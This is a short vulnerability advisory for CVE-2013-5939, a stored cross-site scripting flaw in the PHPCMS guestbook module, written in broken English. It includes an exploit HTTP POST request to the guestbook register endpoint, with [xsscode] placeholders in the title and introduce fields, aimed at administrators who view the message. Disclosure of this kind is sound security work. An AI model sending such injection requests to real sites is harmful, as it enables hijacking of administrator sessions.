The PHPCMS Guestbook module from phpcms.cn suffers from a stored cross site scripting vulnerability.
d8b958adc08aeb8a08fa43ea42d741c7372da3163a7d5e5db9b776653e6de0fe
CVE-2013-5939:PHPCMS guestbook module Stored XSS Vulnerability
Severity: Important
Vendor: phpcms.cn
Versions Affected: All of use guestbook module phpcms
Description: The phpcms has be found the Stored XSS Vulnerability if use the guestbook module.someone can insert xss code at the front guestbook,when admin view this message in the admin control
panel,the xss code has be implemented
Exploit:
POST /index.php?m=guestbook&c=index&a=register&siteid=1 HTTP/1.1Host: www.attack.cnUser-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: PHPSESSID=40360ct0tfshplcik807r9phr4; Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 317typeid=54&codes=&title=[xsscode]&introduce=[xsscode]&department=&area=&name=&tel=&email=&isbbs=on&code=dmsc&dosubmit=
Credit: This issue was discovered by robert root#cnmoker.org.